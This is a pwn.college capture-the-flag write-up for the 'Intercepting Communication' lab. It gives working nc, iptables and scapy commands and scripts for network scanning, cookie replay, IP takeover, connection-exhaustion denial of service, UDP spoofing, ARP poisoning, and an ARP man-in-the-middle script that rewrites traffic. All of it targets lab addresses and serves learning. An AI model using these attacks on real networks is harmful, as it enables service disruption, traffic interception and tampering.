PwnCollege - Intercepting Communication

scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 1 - basic connect
nc 10.0.0.2 31337

# 2 - TCP half-close: need -N to send EOF after stdin closes
nc -N 10.0.0.2 31337

# 3 - listen
nc -l -p 31337

# 4 - ping sweep /24 + connect
for i in $(seq 256); do ping -w 1 -c 1 10.0.0.$i & done
nc 10.0.0.110 31337

# 5 - nmap /16 subnet scan
nmap -v -n -Pn -p 31337 --min-rate 10000 --open 10.0.0.0/16
nc 10.0.246.42 31337

# 6 - session replay
curl "http://10.0.0.2/flag?user=admin" \
--cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.abFrwg.CMU_GnBUwk4-UoCFYjokaWxhgDI"

# 7 - IP takeover: claim 10.0.0.3 and listen
ip addr add 10.0.0.3/24 dev eth0
ip link set eth0 up
nc -l -p 31337

firewall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1 - drop incoming on port
iptables -A INPUT -p tcp --dport 31337 -j DROP

# 2 - drop from specific source
iptables -I INPUT -s 10.0.0.3 -p tcp --dport 31337 -j DROP

# 3 - accept outgoing
iptables -I OUTPUT -p tcp --dport 31337 -j ACCEPT

# 4 - forward drop (specific src)
iptables -I FORWARD -s 10.0.0.3 -d 10.0.0.2 -p tcp --dport 31337 -j DROP

# 5 - forward drop (all)
iptables -I FORWARD -p tcp --dport 31337 -j DROP

DoS

connection queue exhaustion

server uses listen(1) (single backlog), exhaust it with concurrent connections:

1
nc 10.0.0.2 31337 & nc 10.0.0.2 31337 & nc 10.0.0.2 31337 &

fd exhaustion

1
for i in {1..500}; do exec {fd}<>/dev/tcp/10.0.0.2/31337 2>/dev/null; done

forking server DoS

server uses ForkingTCPServer, client prints flag on timeout. flood with ghost connections that hold sockets open:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket, threading, time

def ghost_connection():
while True:
try:
with socket.socket() as s:
s.settimeout(0.1)
s.connect(("10.0.0.2", 31337))
s.settimeout(5.0)
s.recv(1) # hold connection open
except Exception:
pass

for _ in range(100):
threading.Thread(target=ghost_connection, daemon=True).start()
while True:
time.sleep(1)

scapy

CTF 环境中主机通过 veth pair 连接到 Linux Bridge(二层交换机)。Bridge 会学习 Source MAC 并记录到 CAM 表,全零 MAC 或非法多播地址会被内核作为 Martian MAC 直接丢弃。必须使用真实 MAC 地址才能让包通过。

raw packets

1
2
3
4
5
6
7
8
9
10
from scapy.all import send, sendp, Ether, IP, TCP

# L2 - ethernet frame (must use real source MAC)
sendp(Ether(src="aa:98:41:69:f7:79", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")

# L3 - IP packet with custom protocol
send(IP(dst="10.0.0.2", proto=0xff), iface="eth0")

# L4 - TCP with specific fields
send(IP(dst="10.0.0.2") / TCP(sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF"), iface="eth0")

TCP handshake

Scapy 绕过系统传输层协议栈直接发包。当目标返回 SYN-ACK 时,内核发现没有对应的 socket 记录,会按 RFC 规范自动发送 RST 掐断连接。需要用 iptables 在 Netfilter 层拦截内核的 RST:

1
iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 10.0.0.1 -d 10.0.0.2 --dport 31337 -j DROP

three-way handshake with scapy:

1
2
3
4
5
6
7
8
9
10
11
12
13
from scapy.all import send, sr1, IP, TCP

ip = IP(dst="10.0.0.2")

# SYN
syn_ack = sr1(ip / TCP(sport=31337, dport=31337, seq=31337, flags="S"), timeout=2)

# ACK
send(ip / TCP(
sport=31337, dport=31337, flags="A",
seq=syn_ack[TCP].ack,
ack=syn_ack[TCP].seq + 1,
))

UDP

1
2
3
4
from scapy.all import send, sr1, Raw, IP, UDP

ans = sr1(IP(dst="10.0.0.2") / UDP(sport=31337, dport=31337) / Raw(b"Hello, World!\n"))
print(ans[Raw].load)

UDP spoofing

common pattern: server(10.0.0.3:31337) responds NONE to ACTION?, client(10.0.0.2) polls server. spoof a FLAG response from port 31337 to make client print the flag.

spoofing 1 - client on fixed port 31338, expects b"FLAG":

1
2
3
from scapy.all import sr1, Raw, IP, UDP
ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG"))
print(ans[Raw].load)

spoofing 2 - client expects FLAG:host:port, sends flag back to that address:

1
2
3
from scapy.all import sr1, Raw, IP, UDP
ans = sr1(IP(src="10.0.0.1", dst="10.0.0.2") / UDP(sport=31337, dport=31338) / Raw(b"FLAG:10.0.0.1:31337"))
print(ans[Raw].load)

spoofing 3 - client on random port, scapy sr1 can’t match the reply. brute-force all ports with raw socket:

1
2
3
4
5
6
7
8
9
10
11
import socket, sys

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("0.0.0.0", 31337))
s.settimeout(3.0)

for port in range(1, 65535):
s.sendto(b"FLAG:10.0.0.1:31337", ("10.0.0.2", port))

data, addr = s.recvfrom(1024)
print(f"[+] Flag: {data.decode().strip()}")

spoofing 4 - client also checks peer_host == "10.0.0.3", so our source must be 10.0.0.3. but the flag reply goes to FLAG:host:port which we control. use nc listener in background on the same session:

1
2
3
nc -u -lvnp 4444 > tmp &
python brute.py
cat tmp

ARP

send crafted ARP IS_AT response:

1
2
3
4
5
6
7
from scapy.all import sendp, Ether, ARP

sendp(
Ether(dst="42:42:42:42:42:42") /
ARP(op=2, psrc="10.0.0.42", hwsrc="42:42:42:42:42:42", pdst="10.0.0.2", hwdst="42:42:42:42:42:42"),
iface="eth0"
)

ARP poisoning (intercept)

client(10.0.0.2) sends flag to server(10.0.0.3:31337). poison client’s ARP cache to redirect traffic to us:

1
2
3
4
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -d 10.0.0.3 -p tcp --dport 31337 -j REDIRECT --to-ports 31337
nc -lvnp 31337 > tmp &
python poison.py

pdst is critical – without it, Scapy defaults to 0.0.0.0 and the target kernel silently drops the packet.

1
2
3
4
5
6
7
8
9
10
11
12
13
import time
from scapy.all import sendp, Ether, ARP

packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2,
psrc="10.0.0.3",
hwsrc="42:8a:e0:32:96:95", # attacker MAC
pdst="10.0.0.2", # must set!
)

while True:
sendp(packet, iface="eth0", verbose=False)
time.sleep(1)

MitM

client authenticates with server via shared secret, then sends echo command. server also supports flag command. intercept and rewrite echo -> flag.

challenge source (key logic):

1
2
3
4
5
# client gets secret out-of-band, sends hex-encoded to server
# then sends "echo" command + data, expects echo back

# server: command == "echo" -> echo data back
# command == "flag" -> send flag

solution: ARP spoof both sides with arp_mitm, sniff TCP traffic, replace echo payload with flag, forward everything else:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import socket, threading, time
from scapy.all import Raw, get_if_hwaddr, sendp, sniff, IP, TCP, Ether
from scapy.layers.l2 import arp_mitm, getmacbyip

IP_CLIENT, IP_SERVER = "10.0.0.2", "10.0.0.3"
INTERFACE = "eth0"

MAC_CLIENT = getmacbyip(IP_CLIENT)
MAC_SERVER = getmacbyip(IP_SERVER)
MAC_ATTACKER = get_if_hwaddr(INTERFACE)

def arp_spoofer():
while True:
arp_mitm(
ip1=IP_CLIENT, ip2=IP_SERVER,
mac1=MAC_CLIENT, mac2=MAC_SERVER,
broadcast=True, target_mac=MAC_ATTACKER, iface=INTERFACE,
)
time.sleep(1)

def process_packet(pkt):
if not (pkt.haslayer(IP) and pkt.haslayer(TCP)):
return
ip_pkt = pkt[IP].copy()

# client -> server: rewrite "echo" to "flag"
if ip_pkt.src == IP_CLIENT and ip_pkt.dst == IP_SERVER and ip_pkt[TCP].dport == 31337:
if ip_pkt.haslayer(Raw) and ip_pkt[Raw].load == b"echo":
ip_pkt[Raw].load = b"flag"
del ip_pkt.len, ip_pkt.chksum, ip_pkt[TCP].chksum
sendp(Ether(dst=MAC_SERVER) / ip_pkt, iface=INTERFACE, verbose=False)

# server -> client: forward (and print flag)
elif ip_pkt.src == IP_SERVER and ip_pkt.dst == IP_CLIENT and ip_pkt[TCP].sport == 31337:
if ip_pkt.haslayer(Raw):
print(f"[+] Server: {ip_pkt[Raw].load.decode('utf-8', errors='ignore')}")
sendp(Ether(dst=MAC_CLIENT) / ip_pkt, iface=INTERFACE, verbose=False)

threading.Thread(target=arp_spoofer, daemon=True).start()
time.sleep(2)
sniff(filter="tcp port 31337", prn=process_packet, store=0)